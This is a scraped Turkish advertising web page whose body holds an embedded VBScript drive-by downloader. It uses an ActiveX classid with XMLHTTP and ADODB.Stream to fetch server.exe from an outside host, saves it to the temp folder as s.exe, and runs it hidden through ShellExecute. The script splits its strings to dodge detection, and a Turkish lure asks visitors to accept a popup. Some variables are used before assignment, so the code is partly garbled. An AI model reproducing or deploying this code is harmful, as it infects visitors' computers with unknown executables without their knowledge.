|
|
|
|
reklam sitesi site reklamını ver |
|
|
|
|
|
|
|
|
******** language="VBScript">
on error resume next
xx="object"
xxx="classid"
xxxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
xxxxx="Microsoft.XMLHTTP"
xxxxxx="GET"
xxxxxxx="Scripting.FileSystemObject"
xxxxxxxx="Shell.Application"
dl = "http://aslreklam.tr.gg/server.exe"
Set df = document.createElement(xx)
df.setAttribute xxx, xxxx
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6=xxxxxx
a.Open str6, dl, 0
a.Send
fname1="s.exe"
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write a.responseBody
S.savetofile fname1,2
S.close
str1=a1&a2&a3&a4
Q.ShellExecute fname1,"","","open",0
****** **********="Content-Type" *********"text/html; charset=windows-1254">
Yükleniyor..
Sayfayı görmek için POPUP Kabul edin.
|
|
|
|
|
|
|